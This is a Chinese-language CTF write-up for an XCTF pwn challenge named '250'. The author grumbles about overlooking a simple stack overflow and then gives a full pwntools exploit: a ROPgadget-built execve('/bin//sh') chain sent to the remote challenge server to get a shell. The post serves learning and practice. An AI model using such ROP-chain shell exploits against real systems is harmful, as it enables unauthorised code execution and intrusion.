Loading... <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/2684558798.png"></div> 这个 `print`,不仔细看怎么看的出来!(这个v4我愚蠢地以为是识别错误)浪费我半个小时想到底怎么用fmt利用!更可气的是xctf上还没什么人做,让我以为很难,又是什么我没学过的高级利用,点开 `print`一看,好嘛,就是这么简单枯燥的一个栈溢出! <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/3979143808.png "> </div> 程序是静态链接的,所以考虑ROPgadget直接生成ropchain ### exp ```python #!/usr/bin/env python2 # execve generated by ROPgadget from pwn import * from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080b89e6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb064) # @ .data + 4 p += pack('<I', 0x080b89e6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080493a3) # xor eax, eax ; ret p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080df1b9) # pop ecx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080493a3) # xor eax, eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0806cbb5) # int 0x80 p = 'a' * 0x3A + 'a' * 0x4 + p #sh = process("./250") sh = remote("220.249.52.134","35508") sh.sendlineafter("Size]",str(len(p))) sh.sendlineafter("Data]",p) sh.interactive() ``` ### 后记 好吧,牢骚归牢骚,其实本题还是给了我一个提醒的,就是要仔细看代码,不能一扫而过。250的名字取得很好,我现在确实觉得自己是250 最后修改:2021 年 01 月 05 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧